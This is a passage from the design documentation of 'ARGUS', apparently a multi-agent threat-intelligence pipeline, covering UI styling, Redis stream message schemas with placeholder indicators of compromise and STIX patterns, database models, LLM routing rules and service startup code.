          '0%, 100%': { opacity: '1', transform: 'scale(1)' },
          '50%':      { opacity: '0.3', transform: 'scale(0.7)' },
        },
        skeleton: {
          '0%, 100%': { opacity: '0.4' },
          '50%':      { opacity: '0.8' },
        },
        pageEnter: {
          from: { opacity: '0', transform: 'translateY(8px)' },
          to:   { opacity: '1', transform: 'translateY(0)' },
        },
        slideInRight: {
          from: { opacity: '0', transform: 'translateX(20px)' },
          to:   { opacity: '1', transform: 'translateX(0)' },
        },
        slideOutRight: {
          from: { opacity: '1', transform: 'translateX(0)' },
          to:   { opacity: '0', transform: 'translateX(20px)' },
        },
        iocHighlight: {
          '0%':   { backgroundColor: 'rgba(192,22,43,0.12)' },
          '100%': { backgroundColor: 'transparent' },
        },
        graphNode: {
          from: { opacity: '0', transform: 'scale(0)' },
          to:   { opacity: '1', transform: 'scale(1)' },
        },
        orbitR1: {
          from: { transform: 'rotate(0deg)' },
          to:   { transform: 'rotate(360deg)' },
        },
        orbitR2: {
          from: { transform: 'rotate(0deg)' },
          to:   { transform: 'rotate(360deg)' },
        },
        orbitR3: {
          from: { transform: 'rotate(0deg)' },
          to:   { transform: 'rotate(360deg)' },
        },
      },

      boxShadow: {
        'red':       '0 0 20px rgba(192,22,43,0.15), 0 0 60px rgba(192,22,43,0.05)',
        'elevation': '0 4px 24px rgba(0,0,0,0.8), 0 1px 4px rgba(0,0,0,0.6)',
        'card':      'inset 0 0 0 1px rgba(255,255,255,0.04)',
      },
    },
  },
  plugins: [],
}

9. Shared CSS Classes (globals.css)

/* argus/frontend/src/globals.css */

@tailwind base;
@tailwind components;
@tailwind utilities;

@layer base {
  * { box-sizing: border-box; }

  html { background: #000; color: #fff; }

  body {
    font-family: 'Inter', -apple-system, sans-serif;
    background: #000;
    color: #fff;
    -webkit-font-smoothing: antialiased;
    -moz-osx-font-smoothing: grayscale;
  }

  /* Scrollbar styling */
  ::-webkit-scrollbar { width: 4px; height: 4px; }
  ::-webkit-scrollbar-track { background: transparent; }
  ::-webkit-scrollbar-thumb { background: #2a1518; border-radius: 2px; }
  ::-webkit-scrollbar-thumb:hover { background: #c0162b; }

  /* Selection */
  ::selection { background: rgba(192,22,43,0.3); color: #fff; }
}

@layer components {
  /* Card primitive */
  .argus-card {
    @apply bg-bg-surface border border-border-default rounded-card;
  }

  /* Badge primitives — one per IOC type */
  .badge-ipv4   { @apply bg-red-500/10 text-red-300 font-mono text-micro px-2 py-0.5 rounded-tag; }
  .badge-domain { @apply bg-blue-500/10 text-blue-500 font-mono text-micro px-2 py-0.5 rounded-tag; }
  .badge-hash   { @apply bg-amber-500/10 text-amber-500 font-mono text-micro px-2 py-0.5 rounded-tag; }
  .badge-url    { @apply bg-purple-500/10 text-purple-500 font-mono text-micro px-2 py-0.5 rounded-tag; }
  .badge-cve    { @apply bg-green-bg text-green-500 font-mono text-micro px-2 py-0.5 rounded-tag; }

  /* Status badges */
  .badge-live     { @apply bg-green-bg text-green-500 text-micro px-2 py-0.5 rounded-tag; }
  .badge-warning  { @apply bg-amber-bg text-amber-500 text-micro px-2 py-0.5 rounded-tag; }
  .badge-danger   { @apply bg-red-900/50 text-red-300 text-micro px-2 py-0.5 rounded-tag; }
  .badge-neutral  { @apply bg-bg-subtle text-text-muted text-micro px-2 py-0.5 rounded-tag; }

  /* MITRE technique tag */
  .mitre-tag {
    @apply font-mono text-micro bg-red-900/60 text-red-300 border border-red-800
           px-2 py-0.5 rounded-tag cursor-default;
  }

  /* Primary button */
  .btn-primary {
    @apply bg-red-500 hover:bg-red-400 text-white font-sans text-small font-semibold
           px-4 py-2 rounded-btn transition-colors duration-fast cursor-pointer
           border-0 outline-none;
  }

  /* Secondary button */
  .btn-secondary {
    @apply bg-transparent hover:bg-bg-elevated text-text-secondary hover:text-text-primary
           font-sans text-small font-medium px-4 py-2 rounded-btn
           border border-border-default hover:border-border-strong
           transition-all duration-fast cursor-pointer outline-none;
  }

  /* Ghost button */
  .btn-ghost {
    @apply bg-transparent hover:bg-bg-elevated text-text-muted hover:text-text-secondary
           font-sans text-small px-3 py-1.5 rounded-btn
           transition-all duration-fast cursor-pointer outline-none border-0;
  }

  /* Live dot */
  .live-dot {
    @apply w-1.5 h-1.5 rounded-full bg-green-500 inline-block animate-live-pulse;
  }

  /* Skeleton loader */
  .skeleton {
    @apply bg-bg-subtle rounded animate-skeleton;
  }

  /* Table styles */
  .argus-table th {
    @apply text-micro text-text-muted uppercase tracking-widest
           border-b border-border-default pb-2 text-left font-medium;
  }
  .argus-table td {
    @apply text-body text-text-secondary py-3
           border-b border-border-default/50;
  }
  .argus-table tr:hover td {
    @apply bg-bg-elevated;
  }

  /* Confidence bar */
  .confidence-bar-track {
    @apply w-full h-1 bg-bg-subtle rounded-full overflow-hidden;
  }
  .confidence-bar-fill {
    @apply h-full rounded-full transition-all duration-slow;
  }

  /* Monospace value (IOC, hash, IP) */
  .ioc-value {
    @apply font-mono text-mono text-text-secondary
           hover:text-text-primary transition-colors duration-fast
           cursor-default select-all;
  }
}

Part 5: Technical Contracts

Extracted from: docs/05_DATA_CONTRACTS.md

ARGUS Data Contracts Reference 📄

The canonical truth for all inter-agent message formats

This file is the single source of truth for every data shape that flows between agents.
When in doubt, check here. If a schema here conflicts with code, fix the code.

Redis Stream Map

External Feeds
     │
     ▼ STIX 2.1 Bundle (JSON)
stream:raw_iocs
     ├── consumer group: enrichment    → EnrichmentAgent
     └── consumer group: audit         → Audit logger

     │
     ▼ EnrichedIOC (JSON)
stream:enriched_iocs
     ├── consumer group: correlation   → CorrelationAgent
     └── consumer group: vector_indexer → Vector Indexer Worker

     │
     ▼ CorrelationHypothesis (JSON)
stream:correlation_hypotheses
     └── consumer group: mitre         → MITREMappingAgent

     │
     ▼ ATTACKAnnotation (JSON)
stream:mitre_annotated
     └── consumer group: narrative     → ThreatNarrativeAgent

     │
     ├─ [escalation_required=True] → stream:human_review
     │       └── consumer group: orchestrator → OrchestratorAgent
     │
     └─ [escalation_required=False] → stream:threat_reports
             └── consumer group: reporting → PDF Generator

stream:feedback
     └── consumer group: learning      → FeedbackLearningAgent

stream:dlq:*
     └── Dead-letter queues per agent (manual retry)

All Stream Message Envelopes

Every message published to any Redis Stream MUST include these fields:

{
  "schema_version": "1.0",
  "trace_id": "uuid4-string",
  "created_at": "2024-01-15T10:23:00.000Z",
  "payload": { ... }
}

The trace_id is generated by IngestorAgent and passed through every subsequent message.
This enables tracing a single IOC through the entire pipeline in logs.

Schema 1 — RawIOC (stream:raw_iocs)

Published by: IngestorAgent

Consumed by: EnrichmentAgent, Audit Logger

{
  "schema_version": "1.0",
  "trace_id": "550e8400-e29b-41d4-a716-446655440000",
  "created_at": "2024-01-15T10:23:00.000Z",
  "ioc_id": "6ba7b810-9dad-11d1-80b4-00c04fd430c8",
  "ioc_type": "ipv4",
  "value": "192.0.2.1",
  "source_feed": "feodo",
  "source_feed_url": "https://feodotracker.abuse.ch/downloads/ipblocklist.json",
  "ingested_at": "2024-01-15T10:23:00.000Z",
  "is_refresh": false,
  "stix_object": {
    "type": "indicator",
    "spec_version": "2.1",
    "id": "indicator--6ba7b810-9dad-11d1-80b4-00c04fd430c8",
    "created": "2024-01-15T10:23:00.000Z",
    "modified": "2024-01-15T10:23:00.000Z",
    "name": "Malicious IPv4: 192.0.2.1",
    "indicator_types": ["malicious-activity"],
    "pattern": "[ipv4-addr:value = '192.0.2.1']",
    "pattern_type": "stix",
    "valid_from": "2024-01-15T10:23:00.000Z",
    "labels": ["botnet", "emotet"],
    "external_references": [
      {
        "source_name": "feodo_tracker",
        "url": "https://feodotracker.abuse.ch/browse/host/192.0.2.1/"
      }
    ]
  }
}

Valid ioc_type values: ipv4 | ipv6 | domain | url | md5 | sha1 | sha256 | cve | email

Schema 2 — EnrichedIOC (stream:enriched_iocs)

Published by: EnrichmentAgent

Consumed by: CorrelationAgent, Vector Indexer

{
  "schema_version": "1.0",
  "trace_id": "550e8400-e29b-41d4-a716-446655440000",
  "created_at": "2024-01-15T10:23:45.000Z",
  "ioc_id": "6ba7b810-9dad-11d1-80b4-00c04fd430c8",
  "ioc_type": "ipv4",
  "value": "192.0.2.1",
  "source_feed": "feodo",
  "ingested_at": "2024-01-15T10:23:00.000Z",

  "vt_enriched": true,
  "vt_stats": {
    "malicious": 52,
    "suspicious": 3,
    "undetected": 15,
    "harmless": 5,
    "total_engines": 75
  },
  "vt_detection_ratio": 0.693,

  "otx_enriched": true,
  "otx_pulse_count": 12,
  "otx_tags": ["emotet", "botnet", "c2"],
  "otx_malware_families": ["Emotet", "QakBot"],

  "urlhaus_enriched": true,
  "urlhaus_status": "online",
  "urlhaus_threat": "malware_download",

  "circl_enriched": false,
  "circl_cvss_score": null,
  "circl_cwe": null,

  "shodan_enriched": true,
  "shodan_ports": [80, 443, 8080],
  "shodan_vulns": [],
  "shodan_tags": ["self-signed"],

  "geo": {
    "country": "Netherlands",
    "country_code": "NL",
    "asn": 60781,
    "asn_org": "LeaseWeb Netherlands B.V.",
    "city": "Amsterdam"
  },

  "freshness_score": 0.95,
  "confidence_score": 0.82,
  "source_count": 3,
  "malware_family": "Emotet",
  "tags": ["emotet", "botnet", "c2", "feodo"],
  "campaign_id": null,
  "inference_tier": null
}

Schema 3 — CorrelationHypothesis (stream:correlation_hypotheses)

Published by: CorrelationAgent

Consumed by: MITREMappingAgent

{
  "schema_version": "1.0",
  "trace_id": "550e8400-e29b-41d4-a716-446655440000",
  "created_at": "2024-01-15T10:24:00.000Z",
  "hypothesis_id": "7c9e6679-7425-40de-944b-e07fc1f90ae7",
  "campaign_id": "a0eebc99-9c0b-4ef8-bb6d-6bb9bd380a11",
  "campaign_is_new": false,
  "ioc_ids": [
    "6ba7b810-9dad-11d1-80b4-00c04fd430c8",
    "6ba7b814-9dad-11d1-80b4-00c04fd430c8"
  ],
  "shared_signals": [
    {"type": "asn", "value": "AS60781", "weight": 0.6},
    {"type": "malware_family", "value": "Emotet", "weight": 0.9},
    {"type": "tag", "value": "c2", "weight": 0.5}
  ],
  "similarity_score": 0.87,
  "graph_edges": [
    {
      "src_node_id": "6ba7b810-9dad-11d1-80b4-00c04fd430c8",
      "src_node_type": "ip",
      "dst_node_id": "6ba7b814-9dad-11d1-80b4-00c04fd430c8",
      "dst_node_type": "ip",
      "relationship": "SHARES_ASN",
      "weight": 0.6,
      "evidence": "Both in AS60781 (LeaseWeb Netherlands)"
    }
  ],
  "confidence": 0.79
}

Schema 4 — ATTACKAnnotation (stream:mitre_annotated)

Published by: MITREMappingAgent

Consumed by: ThreatNarrativeAgent

{
  "schema_version": "1.0",
  "trace_id": "550e8400-e29b-41d4-a716-446655440000",
  "created_at": "2024-01-15T10:24:30.000Z",
  "campaign_id": "a0eebc99-9c0b-4ef8-bb6d-6bb9bd380a11",
  "hypothesis_id": "7c9e6679-7425-40de-944b-e07fc1f90ae7",
  "techniques": [
    {
      "technique_id": "T1071.001",
      "technique_name": "Application Layer Protocol: Web Protocols",
      "tactic": "command-and-control",
      "kill_chain_phase": "Command & Control",
      "confidence": 0.88,
      "rationale": "C2 traffic observed on port 443 matching HTTPS patterns in Emotet campaigns"
    },
    {
      "technique_id": "T1566.001",
      "technique_name": "Phishing: Spearphishing Attachment",
      "tactic": "initial-access",
      "kill_chain_phase": "Delivery",
      "confidence": 0.72,
      "rationale": "Malicious email attachments observed in associated URLhaus entries"
    }
  ],
  "kill_chain_phases_observed": ["Delivery", "Command & Control"],
  "navigator_layer_json": {
    "name": "ARGUS — Campaign a0eebc99",
    "versions": {"attack": "15", "navigator": "4.9", "layer": "4.5"},
    "domain": "enterprise-attack",
    "techniques": [...]
  },
  "inference_tier": "groq_70b",
  "technique_count": 2
}

Schema 5 — ThreatReport (stream:threat_reports / stream:human_review)

Published by: ThreatNarrativeAgent

Consumed by: PDF Generator / OrchestratorAgent

{
  "schema_version": "1.0",
  "trace_id": "550e8400-e29b-41d4-a716-446655440000",
  "created_at": "2024-01-15T10:25:00.000Z",
  "report_id": "b3c45d67-8901-23ef-gh45-678901234567",
  "campaign_id": "a0eebc99-9c0b-4ef8-bb6d-6bb9bd380a11",
  "executive_summary": "A financially-motivated threat actor is operating...",
  "technical_narrative": "The campaign was first detected on...",
  "kill_chain_timeline": [
    {
      "timestamp": "2024-01-10T08:30:00Z",
      "ioc_type": "domain",
      "ioc_value": "evil-domain.com",
      "kill_chain_phase": "Delivery",
      "technique_id": "T1566.001",
      "technique_name": "Phishing: Spearphishing Attachment",
      "malware_family": "Emotet",
      "edge_type": null,
      "related_value": null
    }
  ],
  "prediction": {
    "predicted_phase": "Installation",
    "likely_techniques": [
      {
        "technique_id": "T1053.005",
        "technique_name": "Scheduled Task/Job: Scheduled Task",
        "probability": 0.78,
        "rationale": "Common Emotet persistence mechanism following C2 establishment"
      }
    ],
    "rationale": "Based on observed Delivery → C2 progression...",
    "confidence": 0.71
  },
  "recommended_mitigations": [
    "Block outbound HTTPS to non-categorised domains at perimeter firewall (NIST CSF PR.AC-5)",
    "Disable macro execution in Office applications via Group Policy (NIST CSF PR.PT-3)"
  ],
  "overall_confidence": 0.74,
  "escalation_required": false,
  "stix_report_object": {
    "type": "report",
    "spec_version": "2.1",
    "id": "report--b3c45d67-8901-23ef-gh45-678901234567",
    "name": "ARGUS Intelligence Report: Campaign a0eebc99",
    "report_types": ["threat-actor", "campaign"],
    "published": "2024-01-15T10:25:00.000Z",
    "object_refs": ["indicator--...", "indicator--..."],
    "custom_properties": {
      "x_argus_confidence": 0.74,
      "x_argus_predicted_phase": "Installation",
      "x_argus_escalation_required": false
    }
  },
  "inference_tier": "groq_70b"
}

Schema 6 — PredictionValidationEvent (stream:feedback)

Published by: PredictionValidator (part of CorrelationAgent)

Also published by: Human review endpoint (POST /reviews/{id}/decision)

Consumed by: FeedbackLearningAgent

{
  "schema_version": "1.0",
  "trace_id": "550e8400-e29b-41d4-a716-446655440000",
  "created_at": "2024-01-16T14:30:00.000Z",
  "event_id": "c4d56e78-9012-34fg-hi56-789012345678",
  "event_type": "prediction_validated",
  "prediction_id": "d5e67f89-0123-45gh-ij67-890123456789",
  "campaign_id": "a0eebc99-9c0b-4ef8-bb6d-6bb9bd380a11",
  "outcome": "confirmed",
  "matching_ioc_id": "6ba7b810-9dad-11d1-80b4-00c04fd430c8",
  "matching_technique_id": "T1053.005",
  "confidence_at_prediction": 0.71,
  "source": "automated"
}

event_type values:

prediction_validated — new IOC matched prediction (automated)
prediction_falsified — campaign archived without prediction confirmed (automated)
analyst_override — analyst corrected the prediction (human)
analyst_false_positive — analyst flagged entire campaign as FP (human)
analyst_approve — analyst approved low-confidence report (human)

Redis Key Conventions

All Redis keys follow this pattern: argus:{namespace}:{identifier}

## Deduplication 📄
argus:dedup:{sha256(ioc_type + ":" + value)}   TTL: 86400s (24h)

## Rate limiting 📄
argus:ratelimit:{api_name}                      # Sorted set (score = epoch ms)
argus:daily_count:{api_name}:{YYYY-MM-DD}       TTL: 86400s

## Groq token budget 📄
argus:groq:tokens:minute                        TTL: 60s (auto-resets each minute)
argus:groq:fallback_active                      TTL: 60s (set by OrchestratorAgent)

## Campaign tracking 📄
argus:campaign:{campaign_id}:pending_predictions  # Set of prediction UUIDs

## Orchestrator state 📄
argus:orchestrator:last_ab_check                # Timestamp float
argus:orchestrator:worker_count:{queue_name}    # Current worker count

## Health 📄
argus:health:last_orchestrator_cycle            # Timestamp (dead-man's switch)

Neo4j Node Labels and Properties

(:IOC)
  ioc_id: UUID (unique)
  value: string
  ioc_type: string
  confidence: float
  first_seen: datetime
  last_seen: datetime
  malware_family: string?
  campaign_id: UUID?
  source_feed: string
  subnet_24: string?     # For IPv4: first 3 octets (e.g. "192.0.2")
  registrar: string?     # For domains
  registered_date: date? # For domains
  imphash: string?       # For PE hashes

(:IP) extends (:IOC) — label applied to ipv4/ipv6 IOCs
(:Domain) extends (:IOC)
(:Hash) extends (:IOC)
(:URL) extends (:IOC)

(:Campaign)
  campaign_id: UUID (unique)
  ioc_count: int
  first_seen: datetime
  last_seen: datetime
  kill_chain_phases: list[string]
  top_malware_family: string?
  confidence_score: float

Neo4j Relationship Types

(:IOC)-[:BELONGS_TO]->(:Campaign)
(:URL)-[:RESOLVES_TO]->(:Domain)
(:Domain)-[:RESOLVES_TO]->(:IP)
(:IP)-[:SHARES_SUBNET {weight: float}]->(:IP)
(:Domain)-[:SHARES_REGISTRAR {weight: float}]->(:Domain)
(:Hash)-[:SHARES_IMPHASH {weight: float}]->(:Hash)
(:IOC)-[:DELIVERS]->(:Hash)
(:Hash)-[:COMMUNICATES_WITH]->(:IP)
(:Campaign)-[:TARGETS]->(:Sector)   # future — when sector info available

PostgreSQL Foreign Key Map

campaigns (campaign_id) ◄─── iocs (campaign_id)
campaigns (campaign_id) ◄─── threat_reports (campaign_id)
campaigns (campaign_id) ◄─── predictions (campaign_id)
threat_reports (report_id) ◄─── predictions (report_id)
agent_state (agent_id) ◄─── agent_prompt_versions (agent_id)

STIX 2.1 Pattern Reference

Quick reference for writing correct STIX patterns:

IPv4:     [ipv4-addr:value = '1.2.3.4']
IPv6:     [ipv6-addr:value = '::1']
Domain:   [domain-name:value = 'evil.com']
URL:      [url:value = 'http://evil.com/payload']
MD5:      [file:hashes.MD5 = 'abc123def456']
SHA1:     [file:hashes.SHA-1 = 'abc123']
SHA256:   [file:hashes.SHA-256 = 'abc123']
CVE:      [vulnerability:name = 'CVE-2024-1234']
Email:    [email-message:from_ref.value = 'phish@evil.com']

Compound patterns (AND):

[ipv4-addr:value = '1.2.3.4' AND network-traffic:dst_port = 443]

Confidence Score Formula

overall_confidence = (
    mitre_technique_confidence_avg * 0.35 +
    correlation_hypothesis_confidence * 0.30 +
    enrichment_coverage_ratio * 0.20 +
    ioc_count_score * 0.15
)

Where:
  mitre_technique_confidence_avg = mean(technique.confidence for technique in techniques)
  enrichment_coverage_ratio = enriched_ioc_count / total_ioc_count
  ioc_count_score = min(1.0, log10(ioc_count + 1) / 2)
    # reaches 0.5 at 10 IOCs, 1.0 at 100 IOCs

Escalation threshold: overall_confidence < 0.65 → route to human_review

LLM Routing Decision Tree

Is task_complexity == "simple" AND Groq fallback NOT active?
  YES → Use Groq llama-3.1-8b-instant (fast, lower cost)
  NO →
    Is task_complexity == "complex" AND Groq fallback NOT active?
      YES → Use Groq llama-3.1-70b-versatile (best quality)
      NO → Use Ollama llama3.1:8b-instruct-q4_K_M (local, no rate limit)
            Tag output with inference_tier: "ollama_local"

Groq fallback active when:
  argus:groq:fallback_active key exists in Redis (set by OrchestratorAgent)
  This key has TTL=60s — auto-resets each minute
  OrchestratorAgent sets it when groq:tokens:minute > GROQ_TOKEN_BUDGET_PER_MINUTE

Extracted from: docs/07_IMPLEMENTATION_CONTRACTS.md

ARGUS Implementation Contracts 📄

The precise specifications for undocumented implementations

Section A — SQLAlchemy ORM Models (Complete)

File: argus/storage/postgres.py

from sqlalchemy.ext.asyncio import create_async_engine, AsyncSession, async_sessionmaker
from sqlalchemy.orm import declarative_base, Mapped, mapped_column, relationship
from sqlalchemy import String, Integer, Float, Boolean, JSON, DateTime, ForeignKey, Index, ARRAY
from sqlalchemy.dialects.postgresql import UUID, JSONB
from datetime import datetime, timezone
import uuid
from argus.config import settings

engine = create_async_engine(
    settings.postgres_url,
    pool_size=10,
    max_overflow=5,
    pool_timeout=30,
    pool_pre_ping=True,
    prepared_statement_cache_size=0, # Prevents InvalidCachedStatementError on migrations
)

AsyncSessionLocal = async_sessionmaker(engine, expire_on_commit=False, class_=AsyncSession)

Base = declarative_base()

async def get_db():
    async with AsyncSessionLocal() as session:
        try:
            yield session
        except Exception:
            await session.rollback()
            raise
        finally:
            await session.close()

class IOC(Base):
    __tablename__ = "iocs"
    ioc_id: Mapped[uuid.UUID] = mapped_column(UUID(as_uuid=True), primary_key=True, default=uuid.uuid4)
    ioc_type: Mapped[str] = mapped_column(String(20), nullable=False)
    value: Mapped[str] = mapped_column(String, nullable=False)
    value_hash: Mapped[str] = mapped_column(String(64), nullable=False, unique=True)
    source_feed: Mapped[str] = mapped_column(String(100), nullable=False)
    source_count: Mapped[int] = mapped_column(Integer, default=1)
    ingested_at: Mapped[datetime] = mapped_column(DateTime(timezone=True), default=lambda: datetime.now(timezone.utc))
    last_seen: Mapped[datetime] = mapped_column(DateTime(timezone=True), default=lambda: datetime.now(timezone.utc))
    freshness_score: Mapped[float] = mapped_column(Float, default=1.0)
    confidence_score: Mapped[float] = mapped_column(Float, default=0.5)
    enriched_at: Mapped[datetime] = mapped_column(DateTime(timezone=True), nullable=True)
    campaign_id: Mapped[uuid.UUID] = mapped_column(UUID(as_uuid=True), ForeignKey("campaigns.campaign_id"), nullable=True)
    malware_family: Mapped[str] = mapped_column(String(200), nullable=True)
    tags: Mapped[list[str]] = mapped_column(ARRAY(String), default=list)
    stix_object: Mapped[dict] = mapped_column(JSONB, nullable=False)
    enrichment_data: Mapped[dict] = mapped_column(JSONB, default=dict)
    vt_detection_ratio: Mapped[float] = mapped_column(Float, nullable=True)
    vt_enriched: Mapped[bool] = mapped_column(Boolean, default=False)
    otx_pulse_count: Mapped[int] = mapped_column(Integer, default=0)
    shodan_ports: Mapped[list[int]] = mapped_column(ARRAY(Integer), default=list)
    geo_country: Mapped[str] = mapped_column(String(100), nullable=True)
    geo_asn_org: Mapped[str] = mapped_column(String(200), nullable=True)
    created_at: Mapped[datetime] = mapped_column(DateTime(timezone=True), default=lambda: datetime.now(timezone.utc))
    updated_at: Mapped[datetime] = mapped_column(DateTime(timezone=True), default=lambda: datetime.now(timezone.utc), onupdate=lambda: datetime.now(timezone.utc))

    # Relationships
    campaign = relationship("Campaign", back_populates="iocs")

class Feed(Base):
    __tablename__ = "feeds"
    feed_id: Mapped[uuid.UUID] = mapped_column(UUID(as_uuid=True), primary_key=True, default=uuid.uuid4)
    feed_name: Mapped[str] = mapped_column(String(100), unique=True, nullable=False)
    feed_url: Mapped[str] = mapped_column(String, nullable=False)
    feed_type: Mapped[str] = mapped_column(String(50), nullable=False)
    is_active: Mapped[bool] = mapped_column(Boolean, default=True)
    poll_interval_secs: Mapped[int] = mapped_column(Integer, default=300)
    last_polled: Mapped[datetime] = mapped_column(DateTime(timezone=True), nullable=True)
    last_novel_ratio: Mapped[float] = mapped_column(Float, default=0.0)
    consecutive_failures: Mapped[int] = mapped_column(Integer, default=0)
    total_iocs_ingested: Mapped[int] = mapped_column(Integer, default=0)

class Campaign(Base):
    __tablename__ = "campaigns"
    campaign_id: Mapped[uuid.UUID] = mapped_column(UUID(as_uuid=True), primary_key=True, default=uuid.uuid4)
    ioc_count: Mapped[int] = mapped_column(Integer, default=0)
    first_seen: Mapped[datetime] = mapped_column(DateTime(timezone=True), nullable=True)
    last_seen: Mapped[datetime] = mapped_column(DateTime(timezone=True), nullable=True)
    kill_chain_phases: Mapped[list[str]] = mapped_column(ARRAY(String), default=list)
    mitre_techniques: Mapped[dict] = mapped_column(JSONB, default=list)
    navigator_layer: Mapped[dict] = mapped_column(JSONB, nullable=True)
    top_malware_family: Mapped[str] = mapped_column(String(200), nullable=True)
    confidence_score: Mapped[float] = mapped_column(Float, default=0.5)

    iocs = relationship("IOC", back_populates="campaign")
    reports = relationship("ThreatReport", back_populates="campaign")

class ThreatReport(Base):
    __tablename__ = "threat_reports"
    report_id: Mapped[uuid.UUID] = mapped_column(UUID(as_uuid=True), primary_key=True, default=uuid.uuid4)
    campaign_id: Mapped[uuid.UUID] = mapped_column(UUID(as_uuid=True), ForeignKey("campaigns.campaign_id"), nullable=False)
    executive_summary: Mapped[str] = mapped_column(String, nullable=True)
    technical_narrative: Mapped[str] = mapped_column(String, nullable=True)
    kill_chain_timeline: Mapped[dict] = mapped_column(JSONB, default=list)
    recommended_mitigations: Mapped[list[str]] = mapped_column(ARRAY(String), default=list)
    overall_confidence: Mapped[float] = mapped_column(Float, nullable=True)
    escalation_required: Mapped[bool] = mapped_column(Boolean, default=False)
    stix_report_object: Mapped[dict] = mapped_column(JSONB, nullable=True)
    inference_tier: Mapped[str] = mapped_column(String(50), nullable=True)
    created_at: Mapped[datetime] = mapped_column(DateTime(timezone=True), default=lambda: datetime.now(timezone.utc))

    campaign = relationship("Campaign", back_populates="reports")

class Prediction(Base):
    __tablename__ = "predictions"
    prediction_id: Mapped[uuid.UUID] = mapped_column(UUID(as_uuid=True), primary_key=True, default=uuid.uuid4)
    report_id: Mapped[uuid.UUID] = mapped_column(UUID(as_uuid=True), ForeignKey("threat_reports.report_id"), nullable=True)
    campaign_id: Mapped[uuid.UUID] = mapped_column(UUID(as_uuid=True), ForeignKey("campaigns.campaign_id"), nullable=False)
    predicted_phase: Mapped[str] = mapped_column(String(100), nullable=False)
    predicted_techniques: Mapped[dict] = mapped_column(JSONB, default=list, nullable=False)
    rationale: Mapped[str] = mapped_column(String, nullable=True)
    confidence: Mapped[float] = mapped_column(Float, nullable=False)
    outcome: Mapped[str] = mapped_column(String(20), default="pending")
    matching_ioc_id: Mapped[uuid.UUID] = mapped_column(UUID(as_uuid=True), nullable=True)
    validated_at: Mapped[datetime] = mapped_column(DateTime(timezone=True), nullable=True)
    created_at: Mapped[datetime] = mapped_column(DateTime(timezone=True), default=lambda: datetime.now(timezone.utc))

class AgentState(Base):
    __tablename__ = "agent_state"
    agent_id: Mapped[str] = mapped_column(String(100), primary_key=True)
    prompt_hash: Mapped[str] = mapped_column(String(64), nullable=True)
    current_prompt: Mapped[str] = mapped_column(String, nullable=True)
    f1_score: Mapped[float] = mapped_column(Float, default=0.5)
    predictions_made: Mapped[int] = mapped_column(Integer, default=0)
    predictions_confirmed: Mapped[int] = mapped_column(Integer, default=0)
    predictions_falsified: Mapped[int] = mapped_column(Integer, default=0)
    reputation_score: Mapped[float] = mapped_column(Float, default=0.7)
    last_updated: Mapped[datetime] = mapped_column(DateTime(timezone=True), default=lambda: datetime.now(timezone.utc))

Section B — Celery Task Signatures (Complete)

All agent tasks must use this decorator pattern to ensure idempotency and prevent duplicate processing:

from celery import shared_task
from argus.celery_app import app
import redis.asyncio as redis

## Example for EnrichmentAgent 📄
@app.task(
    bind=True,
    name="argus.agents.enrichment.run_enrichment_worker",
    max_retries=3,
    default_retry_delay=60,
    acks_late=True,                 # Critical: Only ack when fully processed
    reject_on_worker_lost=True,     # Critical: Re-queue if worker OOMs
    time_limit=300,                 # 5 minutes hard limit
    soft_time_limit=240             # 4 minutes soft limit to handle graceful shutdown
)
def run_enrichment_worker(self, message_batch):
    # Tasks must manually handle DLQ routing on permanent failure
    try:
        # Processing logic...
        pass
    except Exception as exc:
        # PUSH to stream:dlq:enrichment
        self.retry(exc=exc)

Note: We handle standard async loops via asgiref.sync.async_to_sync or manually driving the loop.

Section C — Startup/Shutdown Lifecycle (Complete)

FastAPI Lifespan (`argus/api/main.py`)

from contextlib import asynccontextmanager
from fastapi import FastAPI
from argus.storage.postgres import engine
import argus.storage.redis_client as redis_client

@asynccontextmanager
async def lifespan(app: FastAPI):
    # Startup
    await redis_client.init_streams() # Idempotent stream/group creation
    # Initialize Neo4j driver constraints
    # Start Prometheus metrics server
    from prometheus_client import start_http_server
    start_http_server(9090)
    yield
    # Shutdown
    await engine.dispose()
    # await neo4j_driver.close()

Celery Worker Lifecycle

from celery.signals import worker_process_init, worker_process_shutdown

@worker_process_init.connect
def init_worker(**kwargs):
    # Initialize DB engines specific to this process
    # Pre-load sentence-transformers model to GPU/CPU memory
    pass

@worker_process_shutdown.connect
def shutdown_worker(**kwargs):
    # Close connections gracefully
    pass

Section D — Missing File Specifications

1. `argus/schemas/messages.py`

from pydantic import BaseModel, UUID4, Field
from datetime import datetime, timezone
import uuid

class StreamEnvelope(BaseModel):
    schema_version: str = "1.0"
    trace_id: UUID4 = Field(default_factory=uuid.uuid4)
    created_at: datetime = Field(default_factory=lambda: datetime.now(timezone.utc))
    payload: dict

2. `scripts/init_streams.py`

import asyncio
import redis.asyncio as redis
from argus.config import settings

STREAMS = {
    "stream:raw_iocs": ["enrichment", "audit"],
    "stream:enriched_iocs": ["correlation", "vector_indexer"],
    "stream:correlation_hypotheses": ["mitre"],
    "stream:mitre_annotated": ["narrative"],
    "stream:human_review": ["orchestrator"],
    "stream:threat_reports": ["reporting"], # Fixed blocker
    "stream:feedback": ["learning"],
}

async def init_streams():
    client = redis.from_url(settings.redis_url)
    for stream_name, groups in STREAMS.items():
        for group in groups:
            try:
                await client.xgroup_create(stream_name, group, id="0", mkstream=True)
            except redis.exceptions.ResponseError as e:
                if "BUSYGROUP" not in str(e):
                    raise
    await client.aclose()

if __name__ == "__main__":
    asyncio.run(init_streams())

3. `scripts/health_check.py`

import asyncio
import sys
import redis.asyncio as redis
from argus.config import settings

async def check():
    try:
        r = redis.from_url(settings.redis_url)
        await r.ping()
        await r.aclose()
        # Ping PG, Neo4j, Qdrant...
        sys.exit(0)
    except Exception as e:
        print(f"Healthcheck failed: {e}")
        sys.exit(1)

if __name__ == "__main__":
    asyncio.run(check())

4. `alembic/env.py` (Async config)

import asyncio
from sqlalchemy.ext.asyncio import create_async_engine
from alembic import context
from argus.storage.postgres import Base
from argus.config import settings

target_metadata = Base.metadata

def do_run_migrations(connection):
    context.configure(connection=connection, target_metadata=target_metadata)
    with context.begin_transaction():
        context.run_migrations()

async def run_migrations_online():
    connectable = create_async_engine(settings.postgres_url)
    async with connectable.connect() as connection:
        await connection.run_sync(do_run_migrations)
    await connectable.dispose()

if context.is_offline_mode():
    pass # Add offline sync string generator
else:
    asyncio.run(run_migrations_online())

5. `data/grafana/datasources/prometheus.yaml`

apiVersion: 1
datasources:
  - name: Prometheus
    type: prometheus
    access: proxy
    url: http://argus-api:9090
    isDefault: false

Section E — Error Handling Contracts

Exception Type	Source	Handling	Recovery
